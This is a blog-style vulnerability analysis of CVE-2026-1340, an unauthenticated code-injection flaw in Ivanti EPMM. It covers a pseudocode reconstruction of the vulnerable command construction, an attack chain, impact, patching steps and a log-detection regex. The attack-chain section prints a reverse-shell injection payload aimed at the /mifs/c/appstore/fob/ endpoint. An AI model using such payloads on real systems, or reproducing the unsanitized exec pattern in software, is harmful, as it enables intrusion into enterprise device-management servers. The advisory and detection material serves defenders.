CVE-2026-1340

MobileIron Maiden: The Unauthenticated RCE in Ivanti EPMM

Alon Barad
Alon Barad
Software Engineer

Jan 30, 2026·7 min read·1 visit

Executive Summary (TL;DR)

Unauthenticated RCE in Ivanti EPMM (formerly MobileIron) via the /mifs/c/appstore/fob/ endpoint. Exploited in the wild as a zero-day. CVSS 9.8. Patch immediately using the vendor-supplied RPMs.

It's becoming a tradition, isn't it? Every few months, the security community gathers around the bonfire to warm their hands over another burning edge appliance. This time, Ivanti Endpoint Manager Mobile (EPMM)—the artist formerly known as MobileIron Core—is back in the spotlight. CVE-2026-1340 is a Critical (CVSS 9.8) Unauthenticated Remote Code Execution vulnerability that allows any script kiddie with a curl binary to execute arbitrary commands as the web server user. Disclosed in late January 2026 alongside its twin, CVE-2026-1281, this flaw was exploited in the wild as a zero-day. The vulnerability lies deep within the application distribution logic, specifically in how the appliance handles 'fob' objects. If you are running EPMM 12.7 or older and haven't applied the emergency RPMs, your MDM server essentially has a 'Welcome' mat deployed to the entire internet.

The Hook: God Mode on the Internet

Let's talk about why Mobile Device Management (MDM) servers are the absolute crown jewels of any enterprise network. They aren't just servers; they are the puppet masters for every corporate iPhone, iPad, and Android device in your fleet. They hold the certificates, the VPN profiles, the email configurations, and the power to wipe devices remotely. If you compromise the MDM, you don't just own a server; you own the CEO's pocket.

Ivanti EPMM (MobileIron Core) sits on the edge of the network, usually exposed on port 443 so that mobile devices can check in from Starbucks Wi-Fi. It is a high-value target with a massive attack surface. In a perfect world, this appliance would be a fortress. In our world, it's seemingly held together by legacy code and prayer.

CVE-2026-1340 is particularly nasty because it requires zero authentication. No phished credentials, no lucky guesses, no brute forcing. The attacker simply asks the server to run code, and the server obliges. It targets the web interface used for distributing in-house applications (appstore) and file configurations (aftstore). Because these endpoints need to be accessible to devices attempting to download content, they are often reachable without a valid session cookie—a design choice that has now come back to haunt us.

The Flaw: A Failure of Input Hygiene

The vulnerability is a classic case of CWE-94: Improper Control of Generation of Code ('Code Injection'). In modern web development, we are taught to treat user input like radioactive waste—contain it, sanitize it, and never let it touch an execution context. Somewhere in the sprawling codebase of EPMM, the developers missed a spot.

The flaw resides in the handling of the URI path for specific endpoints:

  • /mifs/c/appstore/fob/
  • /mifs/c/aftstore/fob/

The fob component (likely standing for File Object) is processed by the backend to retrieve application or file metadata. The parsing logic takes a portion of the URL path and, instead of treating it purely as a string identifier, passes it into a context where it is evaluated as code. This is likely due to the use of a dynamic expression language or a direct system call wrapper that fails to escape shell metacharacters.

What makes this amusingly tragic is that the exploit doesn't require a complex memory corruption chain. We aren't overflowing a heap buffer here. We are simply putting command syntax where a filename should be. It's the digital equivalent of writing rm -rf / on a sticky note and handing it to a receptionist who dutifully types it into the terminal.

The Code: Anatomy of the Injection

While the exact source code is proprietary, we can reconstruct the vulnerable logic based on the behavior observed in the wild and the structure of the patch. The handler for the fob endpoint likely looks something like this pseudocode:

// Pseudocode representation of the flaw
@Path("/mifs/c/appstore/fob/{objectId}")
public Response getFileObject(@PathParam("objectId") String objectId) {
    // The fatal mistake: Using the input directly in a command or expression
    String command = "/opt/ivanti/bin/fetch_metadata.sh " + objectId;
    
    // Execution of the tainted string
    Runtime.getRuntime().exec(command);
    
    return Response.ok().build();
}

In the patched version (delivered via the RPM scripts), Ivanti introduces strict validation. They likely switched from a blacklist approach (trying to block ;, |, etc.) to a whitelist approach (only allowing alphanumeric characters and valid UUIDs). Alternatively, they may have refactored the code to stop shelling out to the OS entirely, using native Java file I/O instead.

The patch analysis reveals that the vulnerability allows for argument injection. Even if the attacker cannot inject a pipe (|) to start a new command, they might be able to inject flags to the underlying binary that cause it to execute arbitrary scripts or write files to sensitive locations.

The Exploit: 404 Shell Not Found

Here is where it gets interesting for the Red Teamers. The exploitation of CVE-2026-1340 has a unique signature. When you successfully exploit the vulnerability, the server often responds with a 404 Not Found.

Why? Because the injected payload breaks the logic that looks up the actual file. The code executes your malicious command first, fails to find the file named myshell.php; ls -la, and then throws the 404 error. This behavior is a critical indicator for Blue Teams: a 404 on these specific endpoints is actually a sign of success for the attacker, not failure.

The Attack Chain

  1. Recon: Locate the EPMM portal (usually /mifs/).
  2. Injection: Send a GET or POST request to /mifs/c/appstore/fob/<PAYLOAD>.
  3. Payload: The payload typically uses command substitution or chaining.
    • Example: ; /bin/sh -i >& /dev/tcp/10.0.0.1/1337 0>&1
  4. Persistence: Attackers in the wild immediately dropped web shells (Java Server Pages or PHP) to maintain access independent of the vulnerable endpoint.

This vulnerability pairs beautifully with CVE-2026-1281. While 1281 might be used for different administrative logic, 1340 provides the raw, unauthenticated entry point needed to kick down the door.

The Impact: From Server to Device

So, you've popped a shell on the MDM. Now what?

First, you are likely running as the tomcat or httpd user. While not root initially, privilege escalation on these appliances is notoriously trivial due to misconfigured permissions and sudo rules left behind for maintenance scripts. Once you have root, you have the encryption keys.

With access to the EPMM database, an attacker can:

  • Harvest PII: Dump the list of all employees, their device phone numbers, and locations.
  • Intercept Traffic: Push malicious VPN profiles to devices to route corporate traffic through an attacker-controlled node.
  • Deploy Malware: Upload a malicious "in-house" application and force-install it on all managed Android devices.
  • Wipe Devices: Hold the company hostage by threatening to factory reset every executive's phone simultaneously.

This isn't just a data breach; it's an operational paralysis event. The Dutch NCSC confirmed this was used in targeted espionage campaigns, likely to gain initial access to high-value government or defense networks.

The Fix: A Patch Built on Quicksand

Ivanti has released mitigations, but they come with a massive caveat that you need to read twice. The immediate fix is an RPM script applied via the appliance command line (CLI).

The Trap: This RPM patch does not survive a version upgrade. If you are on version 12.5, apply the patch, and then decide to upgrade to 12.6 next week thinking you are safe—you just re-opened the vulnerability. You must re-apply the patch after every upgrade until the permanent fix in version 12.8.0.0 is released (slated for Q1 2026).

Remediation Steps:

  1. Block Access: If possible, restrict access to /mifs/c/ to internal IPs only via your WAF (though this may break device enrollment for remote users).
  2. Apply RPM: Log into the CLI and install the ivanti-epmm-12.x.x-patch.
  3. Verify: Check rpm -qa | grep ivanti to ensure the patch is listed.
  4. Monitor: Watch the Apache logs for the regex ^(?!127\.0\.0\.1:\d+.*$).*?\/mifs\/c\/(aft|app)store\/fob\/.*?404. If you see matches, assume compromise and initiate Incident Response.

Do not wait for the 12.8 release. If your interface is on the public internet, you are likely already being scanned.

Technical Appendix

CVSS Score
9.8/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS Probability
89.00%
Top 99% most exploited
2,000
via Shodan

Affected Systems

Ivanti Endpoint Manager Mobile (EPMM) 12.7.0.0Ivanti Endpoint Manager Mobile (EPMM) 12.6.0.0Ivanti Endpoint Manager Mobile (EPMM) 12.5.0.0MobileIron Core (Older versions)

Affected Versions Detail

Product
Affected Versions
Fixed Version
Ivanti EPMM
Ivanti
<= 12.7.0.0RPM Patch / 12.8.0.0
AttributeDetail
CVSS9.8 (Critical)
CWECWE-94 (Code Injection)
VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Exploit StatusActive / Zero-Day
Attack VectorNetwork (Unauthenticated)
Endpoint/mifs/c/appstore/fob/
CWE-94
Improper Control of Generation of Code ('Code Injection')

The software constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

Vulnerability Timeline

Vulnerability disclosed by Ivanti
2026-01-29
CISA adds related CVE to KEV; Dutch NCSC confirms zero-day usage
2026-01-29
Technical details regarding 404 exploitation signals emerge
2026-01-30

Subscribe to updates

Get the latest CVE analysis reports delivered to your inbox.